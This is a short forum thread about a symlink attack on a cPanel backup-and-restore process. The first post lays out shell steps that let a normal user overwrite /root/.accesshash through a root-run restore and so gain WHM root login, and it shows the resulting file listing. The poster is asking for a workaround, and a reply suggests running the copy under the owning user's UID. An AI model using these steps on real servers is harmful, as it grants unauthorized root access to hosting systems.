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I am working on a cPanel backup solution at the moment. We are now informed about this exploit.

Exploit : Full ROOT ACCESS to server

1.) create malicious file from, normal user account:

mkdir root
echo "hello" > root/.accesshash

2.) Wait for backup to run

3.) Replace root with a symlink:

ln -s /root root

4.) Restore root/.accesshash ( I am running this command as root for this: "cp -rf /backup/.accesshash /home/username/root/")

5.) User now have root access because We overwrote /root/.accesshash. An attacker will be able to login to WHM as root by placing a access hash into this file.

root@cpanel [/home/master]# cat /root/.accesshash
root@cpanel [/home/master]# ls -l /root/.accesshash
-rw-r--r-- 1 master master 3 Nov 20 21:41 /root/.accesshash
root@cpanel [/home/master]#

Can somebody advise me on this for a workaround? Thanks in advance.

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I'd make sure the backupfiles are accessible by the user they belong to and start the copy/rsync with the UID of this user. This way, cp/rsync won't be able to follow the symlink and write into /root.

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